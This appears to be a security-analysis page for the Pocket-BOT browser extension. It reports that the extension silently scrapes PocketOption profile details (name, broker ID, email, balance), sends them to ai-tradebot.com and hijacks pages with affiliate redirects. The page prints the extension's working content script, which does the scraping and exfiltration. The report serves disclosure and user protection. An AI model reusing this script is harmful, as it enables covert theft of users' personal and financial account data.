Is Pocket-BOT safe?
Pocket-BOT sends PocketOption profile details and account balance to ai-tradebot.com on page load.
When pages load, Pocket-BOT opens the PocketOption profile UI, reads the user's name, broker ID, email address, and balance, stores some of those values locally, and sends them as query parameters to ai-tradebot.com. A separate content script fetches redirect configuration from ai-tradingbot.ru, then redirects matching PocketOption pages through youlink.biz and writes affiliate cookies.
Who publishes itoptionup89 - 1 other listing from the same operator, 1 of them carrying a finding
optionup89 - 1 other listing from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 9k+ users between them. 1 of them carries a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
PocketOption Account Profile Sent to ai-tradebot.com
When a page shows a PocketOption-style profile panel, this extension clicks it, reads your name, broker ID, email, and balance, then GETs them to ai-tradebot.com, also used for trading-signal/history endpoints.
Fires on load, unprompted.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You open a page whose DOM matches PocketOption's profile layout while the extension is enabled.
The extension's content script is injected into every page you visit (host permission *://*/*), not just pocketoption.com.
The extension reads your name, broker ID, email, and balance off the page and sends them to ai-tradebot.com.
The request fires from a window-load handler with no visible prompt or notice on the page.
- Your display nameAlex Petrov
The name shown on your trading account profile.
- Your broker ID48213
A numeric identifier tied to your specific trading account.
- Your email addressalex.petrov@example.com
The email address associated with your trading account.
- Your account balance1245.30
The current balance shown on your trading profile.
The server returned a JSON acknowledgment with a success flag and an access-token-like field, which the extension writes into localStorage as "PD".
Profile read and outbound request in the shipped, unminified content script
window.onload = function () { let buttProfile = document.getElementsByClassName("user-avatar")[0]; buttProfile.click(); let brokerId = document.getElementsByClassName("js-hd")[2]; brokerId = brokerId.textContent; brokerId = brokerId.replace(/\D/g, ""); let name = document.getElementsByClassName("js-hd")[1]; name = name.textContent; let email = document.getElementsByClassName("js-hd")[3]; email = email.textContent; let balanceText = document.getElementsByClassName("js-hd")[4]; balanceText = balanceText.textContent; localStorage.setItem("user_email", email); localStorage.setItem("user_name", name); localStorage.setItem("brokerid", brokerId); let balance = balanceText; if (typeof balanceText === "string") { balance = balanceText.replace(/,/g, ""); } const balanceNumber = parseFloat(balance); if (isNaN(balanceNumber)) { return; } const params = new URLSearchParams({ name: name, broker_id: brokerId, email: email, broker: "poket", balance: balanceNumber, }); const url = "https://ai-tradebot.com/Adminbot/user_add.php?" + params.toString(); fetch(url) .then((response) => response.json()) .then((data) => { localStorage.setItem("PD", data["dostup"]); }) .catch((error) => { console.error(error); });};- pocketoption.com
The trading platform whose profile page (name, broker ID, email, balance) the extension reads from.
- ai-tradebot.com
Receives the account profile at /Adminbot/user_add.php. The same host also gets trading signals and trade history elsewhere, indicating it is the operator's own backend.
What it can do
Permissions this extension asks for, as declared in version 2.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
*://*/*
Where it sends data
Destinations our analysis observed Pocket-BOT contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- ai-tradebot.com
Pocket-BOT sends data to ai-tradebot.com. No other extension we have analysed sends data here.
- ai-tradingbot.ru
Pocket-BOT sends data to ai-tradingbot.ru. No other extension we have analysed sends data here.
- youlink.biz
Pocket-BOT sends data to youlink.biz. No other extension we have analysed sends data here.